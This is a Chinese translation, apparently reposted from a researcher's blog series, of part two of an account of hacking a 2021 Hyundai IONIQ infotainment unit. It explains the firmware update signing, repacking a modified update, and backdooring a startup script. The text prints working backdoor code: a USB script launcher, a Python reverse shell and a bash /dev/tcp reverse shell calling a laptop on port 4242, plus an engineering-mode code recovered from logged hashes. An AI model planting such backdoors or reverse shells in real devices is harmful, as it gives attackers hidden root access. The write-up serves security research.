HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor

HowIHackedMyCar  2021款 现代IONIQ (一)

本合集共7部分,本篇为第二部分

来源:programmingwithstyle.com,感谢greenluigi1

发布更新
2022年4月28日,现代和起亚汽车发布了新一轮Display Audio固件更新,包括我的车。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
我立即着手开发了带有后门的更新固件包。

固件安全措施

通过linux_envsetup.sh脚本,我了解到D-Audio2V加密固件更新是如何制作的:
1.首先,所有各种二进制文件被分类到正确的目录中。(Micom更新放在micom文件夹中,系统映像放在system文件夹中,等等)
2.使用重复的SHA224算法计算更新中每个二进制文件的哈希值,这些哈希值被放入一个update.cfg文件中。每一行包含文件的原始名称,一个冒号,然后是文件的哈希值。update.cfg文件
3.使用AES密钥加密某些文件,这些文件被重命名为“enc_{原始名称}”。
4.使用与其他文件相同的方法对update.cfg文件进行哈希,然后对哈希进行签名。签名的哈希值放入update.info文件中。
5.所有的二进制文件,update.cfg文件和update.info文件被压缩成一个加密的zip文件。



Bash Scripts are Neat

我了解了固件更新的所有安全措施。现在我只需要按照它们来创建我的固件更新。为了帮助我做到这一点,我创建了几个bash脚本。
HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
我创建了一个空文件夹,将脚本和我想要编辑的固件文件放入其中,然后我使用了“setup_environment.sh”脚本来设置文件夹/文件结构。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
然后,我编辑了keys文件夹中的文件,填入了我从Mobis的开源代码和通过谷歌搜索(见第一部分)找到的信息。
然后我运行了extract_update.sh文件,并传入了我的原始固件文件。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
这使用zip密码提取了固件文件,并将系统映像挂载到system_image文件夹中。HowIHackedMyCar 2021款 现代IONIQ (二) Making a BackdoorHowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
现在,我可以以任何我想要的方式修改系统映像。

Backdoors

我决定尽可能地进行最小的更改,至少一开始是这样的。在我的逆向工程和研究过程中,我比较了一个较旧的固件更新和一个发布给我的车辆的固件更新。在其中,我发现了一个新的bash脚本,用于运行Guider,一个基于Python的性能分析工具。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
在逆向工程新的工程模式应用程序时,我看到有一个菜单选项可以运行这个脚本。我找到了我的后门目标。我决定在Guider启动脚本中添加两个后门。

echo "Finding USB Script"USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)
if [ -n "$USB_SCRIPT_PATH" ]then echo "Running USB Script" USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH) bash -c "$USB_SCRIPT_CONTENT" &fi
echo "Prescript Running"python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.2",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())' 2>/dev/null &

第一个后门是一个USB脚本启动器,它会在系统插入任何闪存驱动器时搜索并启动一个名为“1C207FCE3065.sh”的脚本文件。第二个后门是一个简单的Python反向shell,会尝试连接到“192.168.0.2”,这是我的手机或笔记本连接到Wi-Fi时的IP地址。

生成新镜像

放置好我的后门后,我运行了compile_update.sh脚本。它:
  1. 卸载系统镜像

  2. 计算系统镜像文件的新哈希值

  3. 更新update.cfg中的新系统镜像哈希值

  4. 计算update.cfg文件的哈希值

  5. 签名update.cfg文件,并将其放入update.list中。

  6. 使用设置中的zip密码将所有内容打包成一个zip文件。


HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
现在我有了一个包含我的后门的系统更新。我有点懒,没有让输出的zip自动重命名以包含有效的版本号,所以你必须将原始更新的名称复制给它。
HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
我把我的新固件更新我的闪存驱动器,进入设置应用程序上的IVI和按下更新。

It Worked?

第一次这样做时,实际上并没有成功。我的脚本中有一个错误,它使用无效的哈希更新了update.cfg文件。这导致系统不断地重新启动进入恢复模式,尝试更新,检查哈希值,失败,重新启动……不过我通过使用回形针按下IVI前面板上的复位按钮来打破了这个循环。


Ok, now it Worked

在我修复了脚本并制作了一个新的系统更新文件后,我将它加载到了我的USB驱动器上,按下了更新按钮,然后… 它奏效了!更新确实花了一些时间,但在更新屏幕通过第一步后,我相当确定一切都没问题了。

系统最终重新启动,一切似乎都完全正常。现在我只需要使用我的新后门来访问它。

我用无线Android Auto设置了我的手机,并将日志转储到了我的闪存驱动器中以恢复Wi-Fi密码。在断开手机连接后,我连接了笔记本电脑到Wi-Fi,并将我的IP地址设置为:192.168.0.2。然后,我使用以下命令在端口4242上使用ncat监听:

ncat -l -p 4242
现在我所要做的就是在工程模式下运行Guider。我进入设置屏幕,点击10次更新按钮的左边,一次更新按钮的右边,输入2400HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
工程模式代码没用?Mobis肯定改变了代码。幸运的是,我知道工程模式应用程序会将正确代码的哈希值记录到Logcat日志中(或者至少曾经记录)。所以我迅速再次将日志转储到我的驱动器上,并查看了其中的内容。

在日志中浏览时,我看到了几个与工程模式密码显示相关的条目。其中打印了三个MD5哈希值。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor

  • md5Year是字符串“02”的哈希值
  • md5Password1是字符串“24”的哈希值
  • md5Password2是字符串“00”的散列
看起来md5Password(n)是我输入的代码的每两个数字的哈希值,而md5Year可能是从年份派生而来的,并且是它所期望的真实代码的两位数字。

但如果是这样的话,我就缺少了两位数字,因为该应用程序需要一个四位数的代码,所以我又回到了对工程模式应用程序进行逆向工程。

我找到了用于检查代码的函数,并看到一个包含哈希的常量字符串。查找该哈希值的含义显示它是对“38”的哈希。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor

根据函数的其余部分,看起来md5Year值和“38”可能是我需要的两个部分,所以我去了我的车尝试它们。
HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
当我输入代码”3802″后,我得到了一个新的弹出窗口:HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
看起来Mobis在进入工程模式时添加了一个新的警告屏幕。

现在,我只需要启动Guider来激活我的后门。我导航到Guider屏幕,按下“开始”按钮,然后等待Python反向shell连接。HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor

没有反应。

Python反向shell没有起作用。我没有过多地深究原因,因为我有一个非常方便的备用方案:USB脚本运行器™。

Plan B

幸运的是,我还保留了我的USB脚本运行器™,作为后门的一部分。

echo "Finding USB Script"USB_SCRIPT_PATH=$(find /run/media/ -path "*1C207FCE3065.sh" 2>/dev/null)
if [ -n "$USB_SCRIPT_PATH" ]then echo "Running USB Script" USB_SCRIPT_CONTENT=$(cat $USB_SCRIPT_PATH) bash -c "$USB_SCRIPT_CONTENT" &fi

如果这个方法行得通,我仍然可以完全访问系统。我将一个基本的bash反向shell脚本保存到了我闪存驱动器根目录下的1C207FCE3065.sh文件中:
/bin/bash -i >& /dev/tcp/192.168.0.3/4242 0>&1 &
一旦这个脚本运行,它应该连接到我的笔记本电脑自动分配的IP地址(192.168.0.3),并将一个交互式的bash shell转发到端口4242上的ncat。

我只需将USB插入,再次按下“启动Guider”按钮,然后…HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor


I’m In

我成功地通过后门访问了系统。我运行了whoami来查看我当前使用的用户是谁:HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor

我拥有完整的root权限。我首先做的是收集一些信息,我将完整的目录列表、netstat命令输出、df输出等输出到我的驱动器上。

由于我现在理论上完全控制了我的IVI,我认为下一个合理的步骤是为它创建一些应用程序。

HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor
HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor



原文始发于微信公众号(安全脉脉):HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor

版权声明:admin 发表于 2024年4月29日 下午5:09。
转载请注明:HowIHackedMyCar 2021款 现代IONIQ (二) Making a Backdoor | CTF导航

相关文章